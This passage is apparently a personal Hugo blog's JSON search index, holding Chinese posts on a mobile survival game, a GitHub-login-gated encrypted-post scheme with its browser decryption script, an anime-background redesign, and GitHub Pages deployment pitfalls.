把目光放到中后期的发育链上，《失控进化》的功与过就纠缠得更深了。好的一面是合成系统有细节：合成前先查背包空间，满了成品不丢地上、而是留在合成台等你领，这个\u0026quot;不丢东西\u0026quot;的承诺省掉了无数次\u0026quot;我刚搓的斧头呢\u0026quot;的暴躁时刻。但坏的一面同样刺眼——经济曲线严重畸形，除了木材石材几乎什么都贵得离谱，你要么花海量时间磨，要么去抢；而\u0026quot;抢\u0026quot;又和糟糕的任务引导缠在一起：系统一会儿让你往东跑、一会儿往西跑，完全没有顺路概念，和平区的箱子本该是引导的必要条件，结果能被人抢光，我硬跑了好几个地方才搜到三个，流程卡得想弃坑。到了材料树变深的后半段，子材料还不能快速连锁合成，玩过《戴森球计划》的都懂那种\u0026quot;缺什么下层自动帮你搓出来\u0026quot;的丝滑，这里却只能一层层手动倒腾，笨拙被指数级放大。最后压垮休闲玩家的是发展节奏：你很难快速投入战斗，等终于磨磨蹭蹭发育起来，对面很可能已经科技碾压——\u0026ldquo;前期憋屈、后期来不及\u0026rdquo;。\n这一段几乎就是我对这游戏所有\u0026quot;想改\u0026quot;的冲动来源。如果让我来设计，我会先做减法：把资源点产出全面拉高、制作消耗全面压低，让\u0026quot;发育\u0026quot;变成一条可选支线而不是强制主线，想快速开打就直接去，想慢慢囤也随你，就像吃鸡里二级甲够用、三级甲更好但不强求，给选择、不给门槛。再把那些制造\u0026quot;眼花缭乱\u0026quot;的复杂材料直接折算成低级倍数——原本要 30 铁加 1 弹簧，干脆改 35 铁，少一层转换就少一层认知负担。最后也是最关键的一点：把据点从\u0026quot;生死战\u0026quot;变成\u0026quot;想打才打\u0026quot;的沙盒，打据点是因为今天想爽，守据点死了就该快速重来，参考吃鸡落地就有枪的复活机制；当失败成本变低，玩家才敢去浪、去创造精彩，而不是全程缩在角落算概率。\n以上都只是我这几天的一手体感，主观得很，但贵在真实。《失控进化》的底子是好的，那些让人舒服的设计证明腾讯的团队懂生存游戏的核心乐趣；而让人皱眉的部分，只要愿意在制作节奏、建造交互、引导流程上松一松绑，它完全能从一个\u0026quot;硬核但劝退\u0026quot;的游戏，变成更多人愿意长驻的世界。先玩着，有新心得再更。\n","permalink":"https://t1mmoc.github.io/posts/2026-07-12-rust-review/","summary":"\u003cp\u003e很多人听到\u0026quot;Rust\u0026quot;会下意识想到那门系统编程语言，但我要聊的其实是腾讯做的《失控进化》——它本质上是把 Rust 那套硬核生存玩法搬到了移动端。我肝了几天，整体感受特别分裂：有些设计真该让同行抄作业，有些地方又蠢到想砸手机。这篇不算严谨评测，就是掰开揉碎聊点真实体感，顺手给官方提点不成熟的设计建议。\u003c/p\u003e\n\u003ch2 id=\"开局慷慨的资源和一格难求的背包\"\u003e开局：慷慨的资源，和一格难求的背包\u003c/h2\u003e\n\u003cp\u003e任何一款生存游戏，开局十几分钟的体感基本决定了你能不能留下来。《失控进化》在这一关明显下过功夫——木材、石材都是几百几百地往你脸上塞，最起码不会卡在\u0026quot;连个火把都点不起\u0026quot;的窘迫里；对比某些游戏前两小时还在捡树枝，这种起步节奏舒服得多。更让我意外的是那些人机（NPC），它们经常会主动送些好东西过来，当你懒得自己搓材料、只想赶紧把家支棱起来时，这波白送的物资简直救命，它让\u0026quot;发育\u0026quot;始终有一个保底缓冲，而不是纯靠刷脸。\u003c/p\u003e\n\u003cp\u003e但舒服的开局很快撞上一堵墙：背包格子少得抠门。前期我其实挺夸它的分区设计——前 12 格固定给武器，武器还有 4 格配件栏，肌肉记忆一旦建立几乎不会临战换错，这种\u0026quot;克制的深度\u0026quot;在生存游戏里是稀缺品质。可一旦物资种类多起来，\u0026ldquo;这个舍不得扔、那个也舍不得扔\u0026quot;的焦虑立刻涌上来；而游戏又用\u0026quot;去掉负重系统\u0026quot;堵死了另一条扩容的路，于是格子成了唯一瓶颈，逼你频繁回家倒腾。开局送得越慷慨，后面塞得越焦虑，这套手感上的前后矛盾，是我在游戏里第一个明显的别扭。\u003c/p\u003e\n\u003ch2 id=\"战斗的体贴与制作的折磨\"\u003e战斗的体贴，与制作的折磨\u003c/h2\u003e\n\u003cp\u003e战斗这块是有巧思的。3 秒进入交战、10 秒脱离战斗、小帐篷能撑 1 小时——这三个数字背后是一整套对玩家情绪的体贴：你不会被不明不白的远程消耗拖死，脱战有明确预期，想安稳采会儿矿也有安全屋兜底。很多同类游戏在\u0026quot;紧张感\u0026quot;和\u0026quot;报复性骚扰\u0026quot;之间根本分不清，《失控进化》这套阈值调得相当明白。\u003c/p\u003e\n\u003cp\u003e可惜这份体贴在\u0026quot;制作\u0026quot;环节被自己亲手推翻了。N 键制作到底在什么鬼地方？更离谱的是制作台本身，每次想搓点东西都得跑断一条腿过去，好不容易到了台子，造一把斧头要七秒读条——七秒。在生存游戏里，七秒的硬读条足够把你劝退三次。制作又远又慢叠在一起，等于把\u0026quot;搓装备\u0026quot;这件最高频的操作硬生生做成了体力活。再加上锁门速度慢得离谱，屋子本来就小，我都已经两次被人窜进来顺走东西了，安全感这东西，被一个慢吞吞的锁门动作彻底击碎。这里其实藏着我对这游戏最核心的一个判断：发育应该是可选的、战斗是即时的、失败是廉价的——而《失控进化》恰恰把三者全做反了，后面再细说。\u003c/p\u003e\n\u003ch2 id=\"盖房子的两副面孔\"\u003e盖房子的两副面孔\u003c/h2\u003e\n\u003cp\u003e盖房子本来是生存游戏最劝退的事，但《失控进化》的蓝图建家、一键升级、领地功能，我愿称之为完美——从画图纸到落地、从毛坯到升级，这条流水线把\u0026quot;盖房子\u0026quot;变得有正反馈、有节奏感，领地更是把\u0026quot;这是我的地盘\u0026quot;的安全感直接做进了机制里。\u003c/p\u003e","title":"【AIGC】失控进化初体验：腾讯把硬核生存搬上手机，但我又爱又恨"},{"content":"这篇记录一下某人提供的表情包\n是谁呢，好难猜啊，你说是吧。\n","permalink":"https://t1mmoc.github.io/posts/260711/","summary":"\u003cp\u003e这篇记录一下某人提供的表情包\u003c/p\u003e\n\u003cp\u003e是谁呢，好难猜啊，你说是吧。\u003c/p\u003e\n\u003cdiv class=\"blog-protected\" id=\"bp-260711-1\"\u003e\n  \u003ciframe src=\"https://blog.tmoc.qzz.io/reader?article=260711-1\u0026redirect=https%3a%2f%2ft1mmoc.github.io%2fposts%2f260711%2f\" style=\"width:100%;height:110px;border:none\" title=\"解锁加密文章\"\u003e\u003c/iframe\u003e\n  \u003cdiv class=\"post-content md-content bp-content\"\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003cscript\u003e\n(function () {\n  const ARTICLE = \"260711-1\";\n  const wrap = document.getElementById('bp-' + ARTICLE);\n  const iframe = wrap.querySelector('iframe');\n  const box = wrap.querySelector('.bp-content');\n  const IFRAME_ORIGIN = 'https://blog.tmoc.qzz.io';\n\n  function b64ToBytes(b) {\n    const bin = atob(b);\n    const u = new Uint8Array(bin.length);\n    for (let i = 0; i \u003c bin.length; i++) u[i] = bin.charCodeAt(i);\n    return u;\n  }\n\n  \n  function renderText(html) {\n    box.innerHTML = html;\n  }\n\n  async function decryptAndRender(k, iv) {\n    try {\n      const resp = await fetch('/cipher/' + ARTICLE + '.bin');\n      if (!resp.ok) { box.textContent = '密文加载失败（确认 static/cipher/' + ARTICLE + '.bin 已发布）'; return; }\n      const buf = new Uint8Array(await resp.arrayBuffer());\n      const key = await crypto.subtle.importKey('raw', b64ToBytes(k), { name: 'AES-GCM' }, false, ['decrypt']);\n      const pt = await crypto.subtle.decrypt({ name: 'AES-GCM', iv: b64ToBytes(iv) }, key, buf);\n      renderText(new TextDecoder().decode(pt));\n    } catch (e) {\n      box.textContent = '解密失败：' + e;\n    }\n  }\n\n  \n  let session = null;\n  const params = new URLSearchParams(window.location.search);\n  if (params.has('session')) {\n    session = params.get('session');\n    try { localStorage.setItem('blog_session', session); } catch (e) {}\n    params.delete('session');\n    const newUrl = window.location.pathname + (params.toString() ? '?' + params.toString() : '') + window.location.hash;\n    history.replaceState(null, '', newUrl);\n  } else {\n    try { session = localStorage.getItem('blog_session'); } catch (e) {}\n  }\n\n  \n  function sendSession() {\n    if (session \u0026\u0026 iframe \u0026\u0026 iframe.contentWindow) {\n      iframe.contentWindow.postMessage({ type: 'blog:session', article: ARTICLE, session: session }, IFRAME_ORIGIN);\n    }\n  }\n  \n  function sendTheme() {\n    const t = document.documentElement.getAttribute('data-theme');\n    const theme = (t === 'dark') ? 'dark' : 'light';\n    if (iframe \u0026\u0026 iframe.contentWindow) {\n      iframe.contentWindow.postMessage({ type: 'blog:theme', article: ARTICLE, theme: theme }, IFRAME_ORIGIN);\n    }\n  }\n  window.addEventListener('message', function (ev) {\n    const d = ev.data || {};\n    if (d.type === 'blog:key' \u0026\u0026 d.article === ARTICLE) {\n      decryptAndRender(d.k, d.iv);\n    } else if (d.type === 'blog:ready' \u0026\u0026 d.article === ARTICLE) {\n      sendSession();\n      sendTheme();\n    } else if (d.type === 'blog:resize' \u0026\u0026 d.article === ARTICLE) {\n      \n      iframe.style.height = (d.height + 4) + 'px';\n    }\n  });\n  \n  sendSession();\n  \n  const themeObs = new MutationObserver(function (muts) {\n    muts.forEach(function (m) { if (m.attributeName === 'data-theme') sendTheme(); });\n  });\n  themeObs.observe(document.documentElement, { attributes: true, attributeFilter: ['data-theme'] });\n})();\n\u003c/script\u003e","title":"只是一篇表情包记录博客"},{"content":"最近想把博客里某些段落只给指定的人看——比如自己半成型的想法、给协作者的草稿，又不想让明文躺在公开仓库里被搜索引擎一抓一个准。\n折腾了一天，搞出一套「静态博客 + 边缘 Worker + GitHub 登录 + 浏览器内 AES 解密」的方案。它不算完美（浏览器内解密注定明文要进 DOM），但在「不托管私密后端」的前提下，已经是我能接受的最小暴露面。下面记一下全过程和踩的坑。\n设计思路是怎么敲定的 这东西不是一开始就长这样。最初的想法特朴素：博客发 gpg 加密文章，只有拿到私钥的人能看，最好还能在浏览器里直接解密预览、不下载文件。\n第一版：gpg + 浏览器内桥接。 研究了一圈 openpgp.js，结论是「能跑但劝退」——每次阅读都得把私钥粘贴进页面，私钥在剪贴板里走一遭，泄露风险不友好；而且整条链路（桥接层 + 密钥管理）维护成本也高。Pass。\n第二版：自建 2FA + 每篇一密钥。 换个思路：每篇文章独立密钥，放边缘 Worker 上，读者输入 2FA 口令后 Worker 下发该文密钥。但往深里想就塌了：\n账号、会话令牌怎么存？这又是给自己挖的一个大坑； 若「一篇一 TOTP」，读者验证器会被文章塞爆；改成「一读者一 TOTP 解锁文章」，流程又变得别扭； 即便拆成「注册 / 解锁」两个界面，状态存储仍是绕不开的硬骨头。 转折点：评论区不是早就用 GitHub 登录了吗？ 博客评论本身就是 GitHub 登录（giscus）。既然读者已经为评论登录过 GitHub，文章解锁为什么不能复用同一套身份？一次登录、全站通行——读者打开加密文章，Worker 校验其 GitHub 身份、命中白名单就返回该文密钥，浏览器本地解密。\n剩下的难点是跨域：主站、评论区、Worker 是三个不同源，怎么做到「一次登录通行」？重读 giscus 的做法才想通——它用 iframe + postMessage 做身份代理，且身份不直接暴露给宿主页（每个用户在宿主页只拿到一个类似 openid 的匿名 id），既避开了 XSS 把令牌泄露给主站，又能长久登录。这套模式正好能搬过来：认证只在 Worker 的 iframe 内完成，主站只拿回「解密用的 key」，拿不到任何登录令牌。\n最终要满足的就三条：\n文章主体公开写 Markdown，敏感段作为「碎片」单独加密，插到文章任意位置。 密钥不下发到静态站；只有登录、且在校白名单里的人才能拿到。 读者浏览器本地解密渲染，明文不离开自己的标签页（单篇隔离，XSS 破坏半径压到一篇）。 架构 主体 职责 Hugo 静态站（GitHub Pages） 出文章页、持有密文 .bin、嵌入解锁 iframe 边缘 Worker GitHub OAuth 登录、KV 存密钥、按 ACL 发密钥 读者浏览器 拿到 key 后本地 AES-256-GCM 解密渲染 加密链路：碎片 → 本机 Hugo 渲染成与全站一致的 HTML（含代码高亮）→ AES-256-GCM 加密（随机 32 字节 key + 12 字节 iv）→ 密文写 static/cipher/\u0026lt;id\u0026gt;.bin 随博客公开；key/iv/acl 注册进 Worker KV。 读者点「解锁」→ GitHub 登录 → Worker 验身份 + ACL → 回传 key → 父页本地解密。\n关键点：加新内容不用动 Worker 代码，密钥和密文都是数据，Worker 运行时实时读 KV。\n部署踩坑实录 1. GitHub Secret 加密不是 RSA-OAEP\n要把 OAuth 的 Client Secret 写进仓库 Secret。GitHub 的 /repos/{owner}/{repo}/actions/secrets/public-key 返回的是 32 字节 X25519 公钥，得用对应的 sealed-box 加密密文，而不是常见的 RSA-OAEP。文档没明说，试错一轮才对。\n2. 解锁框的 iframe 不继承父页主题\n跨域 iframe 不会继承父页的 data-theme。结果浅色模式下解锁框白底、深色模式下还是白底——因为 iframe 自己画了一块不透明底色。\n修复：iframe 背景透明，透出父页本就有的毛玻璃；#box 只做圆角卡片（圆角 + 轻描边 + 轻阴影 + 半透明表面），不在 iframe 内再叠 backdrop-filter，否则和父页毛玻璃叠成「双层毛玻璃」，很怪。\n3. 框体无限自增的 bug\n最初 reportHeight() 用 document.documentElement.scrollHeight 报高。但在 iframe 里这个值的语义是 max(内容真实高, 视口高)。父页每轮把高度 +4，视口就变高 → scrollHeight 跟着返回视口高 → 父页再 +4 → 无限增长。\n改成量 #box 自身的 getBoundingClientRect().height 加上 body 上下 padding，与 iframe 视口彻底无关，高度锁定为内容真实高度。\n4. 移动端截断\n父页 shortcode 把 iframe 高度写死 110px，窄屏文字折行超过高度就截断、还冒出滚动条。改成 shortcode 消费 Worker 回传的 blog:resize 消息做动态高度，并监听父页主题切换同步深色。\n收尾：固化成 skill 整套「新增加密段」流程固化成了一个可复用 skill。以后只四步：\n把要加密的段落写成一个碎片 Markdown 跑作者工具（加密 + 注册密钥到 KV） 在文章里插 shortcode： {{\u0026lt; unlock article_id=\u0026#34;\u0026lt;id\u0026gt;\u0026#34; \u0026gt;}} git push，GitHub Pages 重建即生效。 安全底线 所有服务端密钥（PAT / OAuth Client Secret / Admin Token / Worker Secret）只存在本地文件和平台 Secret，绝不进仓库明文。 登录态是服务端密钥 AES-GCM 加密的密文，浏览器和 XSS 都解不开、也伪造不出他人身份。 浏览器内解密 = 明文必在 DOM，这是固有属性；方案把它限制在单篇 + 短窗口。 受保护页建议配 CSP、不挂第三方脚本。 后续升级一：密文托管上 Git LFS 密文 .bin 是随博客公开发布的二进制。文字类碎片通常几十 KB 还好，但一旦往里塞加密图片、表情包甚至短视频，单文件就能到几 MB 甚至几十 MB。直接进 git 历史，仓库会被二进制撑大，clone / CI checkout 越来越慢。\n解法：把 static/cipher/*.bin 交给 Git LFS。\n# .gitattributes static/cipher/*.bin filter=lfs diff=lfs merge=lfs -text # .github/workflows/hugo.yml（Actions checkout 必须开 lfs） - uses: actions/checkout@v4 with: lfs: true 关键点（都是踩出来的）：\nLFS 只瘦 git 历史，不碰 Pages 产物。 git 历史里 .bin 变成一段几十字节的 pointer 文本；真实字节存在 LFS 存储。Hugo 构建时 checkout(lfs:true) 把真实字节拉回，照常 cp 进 public/cipher/，Pages 服务的依然是真实密文。所以「LFS 不还是进了 git 吗」这个担心是误会——它进的是 LFS 存储，不是 git 对象库。 lfs: true 是命门。 只写 .gitattributes 不够；如果用分支部署 / checkout 没开 LFS，Actions 拉到的是 pointer 文本，Pages 上线后解密必失败（拿到的是 pointer 不是密文）。用 actions/checkout@v4 + lfs: true 才稳。 迁移已有文件要重接。 LFS 只对「改后 git add」的文件生效；已提交的非 LFS 文件不会自动接管。要 git rm --cached \u0026lt;file\u0026gt; + git add \u0026lt;file\u0026gt; 让它重新走 LFS filter。 配额（GitHub 官方）：免费额度 10GiB 存储 + 10GiB 带宽/月，单文件 ≤2GiB。正常博客阅读有 CF 边缘缓存挡回源，基本不耗 LFS 带宽。 验证：上线后 curl 一下 .bin，确认返回的是真实二进制（首字节不是 version https://git-lfs 开头的 pointer 文本）。 后续升级二：边缘常驻文章导航 PaperMod 自带 TOC（\u0026lt;details class=\u0026quot;toc\u0026quot;\u0026gt;），但只在正文有 ##~###### 标题时才生成。我想做成「大屏固定到屏幕左侧、滚到底也不消失」的常驻目录。\n静态实现很简单：\n@media (min-width: 1280px) { details.toc { position: fixed; top: 7rem; left: 1.5rem; width: 18.5rem; /* … */ } } 但两个坑把我卡了一轮：\n坑 1：backdrop-filter 劫持 fixed。 文章卡片 .post-single 上有 backdrop-filter: blur(14px)。按 CSS 规范，filter / backdrop-filter / transform / perspective 会创建新的包含块（containing block），导致它内部所有 position: fixed 子元素都相对该卡片定位，而不是视口。结果 TOC 贴着文章卡片左边缘，而不是屏幕左边。 修复：宽屏下用一小段 JS 把 details.toc 从 .post-single 里挪到 \u0026lt;body\u0026gt;，脱离包含块；窄屏再还原回去。\n坑 2：硬断点会重叠。 纯 @media (min-width:1280px) 断点和卡片实际位置对不齐，缩窗口时 TOC 和正文会重叠。改成 JS 动态测距：实时算 TOC 右边缘与文章卡片左边缘的间距，间距 \u0026lt; 2rem 就立刻切回内嵌折叠目录，留足缓冲，不再出现重叠。\n细节打磨：宽 18.5rem、16px 圆角与卡片统一、滚动条做成贴边的极简矩形（去掉胶囊圆角和上下 margin，避免方形滚动条在圆形卡片上露出尖角）。\n最终效果：宽屏左侧常驻目录，滚动时纹丝不动；窗口变窄或空间不足时自动塌成内嵌折叠目录——既好看又不挡正文。这篇本身现在就有导航了（右上角 / 左侧，取决于屏宽），可以实地感受。\n这套东西现在有真实读者在用（就是我自己的私货段），截至目前没翻车。如果你也想给博客加个「只对特定人可见」的段落，思路可以直接抄。\n","permalink":"https://t1mmoc.github.io/posts/2026-07-11-encrypted-blog/","summary":"\u003cp\u003e最近想把博客里某些段落只给指定的人看——比如自己半成型的想法、给协作者的草稿，又不想让明文躺在公开仓库里被搜索引擎一抓一个准。\u003c/p\u003e\n\u003cp\u003e折腾了一天，搞出一套「静态博客 + 边缘 Worker + GitHub 登录 + 浏览器内 AES 解密」的方案。它不算完美（浏览器内解密注定明文要进 DOM），但在「不托管私密后端」的前提下，已经是我能接受的最小暴露面。下面记一下全过程和踩的坑。\u003c/p\u003e\n\u003ch2 id=\"设计思路是怎么敲定的\"\u003e设计思路是怎么敲定的\u003c/h2\u003e\n\u003cp\u003e这东西不是一开始就长这样。最初的想法特朴素：博客发 gpg 加密文章，只有拿到私钥的人能看，最好还能在浏览器里直接解密预览、不下载文件。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e第一版：gpg + 浏览器内桥接。\u003c/strong\u003e 研究了一圈 openpgp.js，结论是「能跑但劝退」——每次阅读都得把私钥粘贴进页面，私钥在剪贴板里走一遭，泄露风险不友好；而且整条链路（桥接层 + 密钥管理）维护成本也高。Pass。\u003c/p\u003e","title":"【AIGC】给 Hugo 博客加一段「GitHub 登录才解密」的私货"},{"content":"这是一篇加密文章的演示。点击下方解锁框，用你的 GitHub 账号登录后，浏览器会在本地用拿到的密钥解密内容——密钥不下载、不进剪贴板、不离开浏览器。\n明文由作者本地保留，发布后仅白名单内的 GitHub 账号可以解锁。想新增读者，管理员在 /admin 页面把对方 GitHub 用户名加入该文的 ACL 即可。\n","permalink":"https://t1mmoc.github.io/posts/secret-note/","summary":"\u003cp\u003e这是一篇\u003cstrong\u003e加密文章\u003c/strong\u003e的演示。点击下方解锁框，用你的 GitHub 账号登录后，浏览器会在本地用拿到的密钥解密内容——\u003cstrong\u003e密钥不下载、不进剪贴板、不离开浏览器\u003c/strong\u003e。\u003c/p\u003e\n\u003cdiv class=\"blog-protected\" id=\"bp-secret-note\"\u003e\n  \u003ciframe src=\"https://blog.tmoc.qzz.io/reader?article=secret-note\u0026redirect=https%3a%2f%2ft1mmoc.github.io%2fposts%2fsecret-note%2f\" style=\"width:100%;height:110px;border:none\" title=\"解锁加密文章\"\u003e\u003c/iframe\u003e\n  \u003cdiv class=\"post-content md-content bp-content\"\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003cscript\u003e\n(function () {\n  const ARTICLE = \"secret-note\";\n  const wrap = document.getElementById('bp-' + ARTICLE);\n  const iframe = wrap.querySelector('iframe');\n  const box = wrap.querySelector('.bp-content');\n  const IFRAME_ORIGIN = 'https://blog.tmoc.qzz.io';\n\n  function b64ToBytes(b) {\n    const bin = atob(b);\n    const u = new Uint8Array(bin.length);\n    for (let i = 0; i \u003c bin.length; i++) u[i] = bin.charCodeAt(i);\n    return u;\n  }\n\n  \n  function renderText(html) {\n    box.innerHTML = html;\n  }\n\n  async function decryptAndRender(k, iv) {\n    try {\n      const resp = await fetch('/cipher/' + ARTICLE + '.bin');\n      if (!resp.ok) { box.textContent = '密文加载失败（确认 static/cipher/' + ARTICLE + '.bin 已发布）'; return; }\n      const buf = new Uint8Array(await resp.arrayBuffer());\n      const key = await crypto.subtle.importKey('raw', b64ToBytes(k), { name: 'AES-GCM' }, false, ['decrypt']);\n      const pt = await crypto.subtle.decrypt({ name: 'AES-GCM', iv: b64ToBytes(iv) }, key, buf);\n      renderText(new TextDecoder().decode(pt));\n    } catch (e) {\n      box.textContent = '解密失败：' + e;\n    }\n  }\n\n  \n  let session = null;\n  const params = new URLSearchParams(window.location.search);\n  if (params.has('session')) {\n    session = params.get('session');\n    try { localStorage.setItem('blog_session', session); } catch (e) {}\n    params.delete('session');\n    const newUrl = window.location.pathname + (params.toString() ? '?' + params.toString() : '') + window.location.hash;\n    history.replaceState(null, '', newUrl);\n  } else {\n    try { session = localStorage.getItem('blog_session'); } catch (e) {}\n  }\n\n  \n  function sendSession() {\n    if (session \u0026\u0026 iframe \u0026\u0026 iframe.contentWindow) {\n      iframe.contentWindow.postMessage({ type: 'blog:session', article: ARTICLE, session: session }, IFRAME_ORIGIN);\n    }\n  }\n  \n  function sendTheme() {\n    const t = document.documentElement.getAttribute('data-theme');\n    const theme = (t === 'dark') ? 'dark' : 'light';\n    if (iframe \u0026\u0026 iframe.contentWindow) {\n      iframe.contentWindow.postMessage({ type: 'blog:theme', article: ARTICLE, theme: theme }, IFRAME_ORIGIN);\n    }\n  }\n  window.addEventListener('message', function (ev) {\n    const d = ev.data || {};\n    if (d.type === 'blog:key' \u0026\u0026 d.article === ARTICLE) {\n      decryptAndRender(d.k, d.iv);\n    } else if (d.type === 'blog:ready' \u0026\u0026 d.article === ARTICLE) {\n      sendSession();\n      sendTheme();\n    } else if (d.type === 'blog:resize' \u0026\u0026 d.article === ARTICLE) {\n      \n      iframe.style.height = (d.height + 4) + 'px';\n    }\n  });\n  \n  sendSession();\n  \n  const themeObs = new MutationObserver(function (muts) {\n    muts.forEach(function (m) { if (m.attributeName === 'data-theme') sendTheme(); });\n  });\n  themeObs.observe(document.documentElement, { attributes: true, attributeFilter: ['data-theme'] });\n})();\n\u003c/script\u003e\n\n\u003cblockquote\u003e\n\u003cp\u003e明文由作者本地保留，发布后仅白名单内的 GitHub 账号可以解锁。想新增读者，管理员在 \u003ccode\u003e/admin\u003c/code\u003e 页面把对方 GitHub 用户名加入该文的 ACL 即可。\u003c/p\u003e","title":"加密笔记演示"},{"content":" 项目：t1mmoc.github.io（Hugo + PaperMod，GitHub Pages 部署） 范围：本日博客美化包含头像重做、友链页、Giscus 评论、首页改版与全站背景；本文聚焦最新上线的全站二次元背景改版。 状态：已上线（特性分支 → no-ff merge → push main → GitHub Actions 自动部署）。\n0. 目标 给博客加全站二次元随机背景，同时满足三个硬约束：\n文章流可读：背景不能糊住文字（不花眼） 流量克制：随机图不能让访客每次刷新都爆流量 深浅色自适应：深色/浅色模式都舒服 1. 图源选型 先批量探测了十几个免费二次元图源，多数已死或防盗链。后端实测存活 6 个：\n源 类型 延迟 备注 t.alcy.cc 重定向 1.5s 稳，保底可用 uapis.cn 重定向 1.5s ?category=acg，用户选定 yeqing.net 重定向 1.2s 最快 dujin.org 重定向 3.0s 稳 dmoe.cc 重定向 8.9s 偏慢 lie.moe 重定向 5.9s 弱，仅部分成功 已淘汰（源挂/防盗链）：Lolicon、waifu.pics、anosu、vvhan、xiaowon、sretna、img.xjh.me、acg.yanwz.cn 等。\n最终选定 uapis.cn（https://uapis.cn/api/v1/random/image?category=acg）：302 重定向到 CDN 直链（https://uapis.cn/assets/acg/pc/xxx.jpg），无防盗链，只需 referrerpolicy=\u0026quot;no-referrer\u0026quot; 即可直链加载。\n2. 可读性方案（三层结构） 背景层 body::before 固定铺满、清晰不模糊、两侧无遮罩（露出背景） 内容区 .post-entry 等 半透明 + backdrop-filter 毛玻璃，只模糊卡片背后的背景 兜底 纯色 --theme 图未加载时不白屏 两侧空白区背景清晰锐利（不做模糊/遮罩） 中间文章卡片做毛玻璃：浅色偏白 0.92、深色偏深 0.84；单篇文章页浅色更低 0.72（更明显透出背景） 模糊 14px，卡片 16px 大圆角 3. 缓存与流量克制机制（核心） 四层叠加，目标「不花眼、不爆流量、切页不换图」：\n图池内置（建站即下发） 后端预抓 38 张 uapis.cn 真实 CDN 直链，写死在页面 POOL 数组里。运行时完全不请求 API 网关，只在池内选。\nlocalStorage 固定 24h（防切页换图） 首次进站从池里随机选 1 张，存 localStorage（tmoc_bg_url + tmoc_bg_ts）。之后切页/刷新只要未超 24h 就复用同一张，不发新请求。\n「换背景」按钮限频 右下角「换背景 ❤」按钮：每次点击 2.5s 冷却 + 每天最多 12 次（tmoc_bg_cnt + tmoc_bg_date，跨天清零），超出提示「今日已达上限」。换图从池内随机挑（避开当前张），预加载成功才落盘。\n浏览器 CDN 缓存 图片是 CDN 直链，自带 Cache-Control: max-age=604800（7 天），同一张图浏览器再缓存 7 天字节，二次加载零流量。\n流量账：普通浏览每人每 24h 最多下载 1 张新图；主动换图每天 ≤ 12 张；源挂了回退纯色不白屏。\n4. 关键踩坑与根治 问题 根因 修复 浏览器全裂图 源防盗链（referer 校验） \u0026lt;meta name=\u0026quot;referrer\u0026quot; content=\u0026quot;no-referrer\u0026quot;\u0026gt; + JS img.referrerPolicy 双保险 切页/刷新自动换图（缓存失效） uapis.cn 无 CORS 头，前端拿不到 302 后的真实地址，缓存的是 API 地址本身（每次随机重定向） 后端预抓 38 张真实直链内置图池，首次池内选一张固定 24h 预览里点文章跳线上 index.html 用 .Permalink（绝对地址带死 baseURL） 改 .RelPermalink（相对链接），预览服务指定 baseURL，点哪留哪 深色模式头像白边 PaperMod 无 --background 变量（页面底色叫 --theme） 改用 --theme；CSS 走 Hugo fingerprint 防旧缓存 首屏瞬态白边 auto 主题 JS 解析前无变量定义回退浅色 补 :root[data-theme=\u0026quot;auto\u0026quot;] 的 --theme + prefers-color-scheme:dark 媒体查询 5. 首页 hero 改造 删除头图 banner 头像 + 站点名 + 描述整体包进一张毛玻璃卡片（.site-hero__card） 头像 92px、左对齐 align-items:center（垂直居中）、描述 1.05rem、卡片宽度 = container（与文章同宽） 移动端左对齐、头像 72px 6. 上线 git checkout -b workbuddy/hero-bg-deploy git add assets/css/custom.css layouts/_partials/* layouts/index.html layouts/partials/site_hero.html git commit -m \u0026#34;全站二次元背景：uapis.cn 图池 + 毛玻璃 + 24h缓存 + 换背景按钮 + hero 头像卡片\u0026#34; git checkout main git merge --no-ff workbuddy/hero-bg-deploy -m \u0026#34;merge: 全站二次元背景与首页 hero 改版上线\u0026#34; git push origin main # GitHub Actions 自动构建部署 改动文件：\nassets/css/custom.css — 背景层、毛玻璃、hero 卡片、深浅色变量 layouts/_partials/extend_footer.html — 图池 + 缓存 + 换背景按钮（新增） layouts/_partials/extend_head.html — no-referrer meta layouts/index.html — 相对链接 layouts/partials/site_hero.html — 头像卡片结构 7. 可复用经验 给用户看 Hugo 草稿，只用本地相对链接预览（预览服务指定 baseURL 让主题链接也留本地），绝不要拿生产站 URL 当预览。 图源连通性以用户浏览器为准——沙箱网络受限会误判\u0026quot;源不可用\u0026quot;。 改 PaperMod 主题依赖的 CSS 变量，用其内置名（--theme/--entry/--primary/--secondary/--border），别自造。 外链 CSS 一律走 resources.Get | minify | fingerprint，内容一变 URL 即变，杜绝旧缓存。 无 CORS 的随机图 API，根治\u0026quot;切页换图\u0026quot;是后端预抓直链内置图池，而非前端 fetch 重定向地址。 ","permalink":"https://t1mmoc.github.io/posts/site-bg-redesign/","summary":"\u003cblockquote\u003e\n\u003cp\u003e项目：\u003ccode\u003et1mmoc.github.io\u003c/code\u003e（Hugo + PaperMod，GitHub Pages 部署）\n范围：本日博客美化包含头像重做、友链页、Giscus 评论、首页改版与全站背景；本文聚焦\u003cstrong\u003e最新上线的全站二次元背景改版\u003c/strong\u003e。\n状态：已上线（特性分支 → no-ff merge → push main → GitHub Actions 自动部署）。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"0-目标\"\u003e0. 目标\u003c/h2\u003e\n\u003cp\u003e给博客加\u003cstrong\u003e全站二次元随机背景\u003c/strong\u003e，同时满足三个硬约束：\u003c/p\u003e","title":"【AIGC】博客全站二次元背景改版 · 技术总结"},{"content":"上一篇写了搭建博客的三个坑，本以为搞定了。结果发完文章一看——主页 404，点任何链接也 404。\n更离谱的是：GitHub Actions 全绿，Pages 设置显示 \u0026ldquo;Your site is live\u0026rdquo;，但 curl 回来永远是 404 Not Found。\n这篇文章记录后续排查中踩的更多坑。\n坑 4：缺少 .nojekyll GitHub Pages 默认会用 Jekyll 处理静态文件。Hugo 生成的 assets/ 目录下有带 hash 的文件名，Jekyll 可能会忽略或错误处理这些文件。\n解法：在 Hugo 的 static/ 目录下放一个空的 .nojekyll 文件，构建时会自动复制到 public/ 根目录，告诉 GitHub \u0026ldquo;别用 Jekyll，直接原样发布\u0026rdquo;。\ntouch static/.nojekyll 不加这个文件，轻则样式加载不了，重则整个站点白屏 / 404。\n坑 5：deploy-pages 全绿但站点不存在 这是最坑的一个。用官方推荐的 actions/deploy-pages@v4 方案：\n- uses: actions/upload-pages-artifact@v3 with: path: ./public - uses: actions/deploy-pages@v4 Workflow 日志：\nbuild → success ✅ 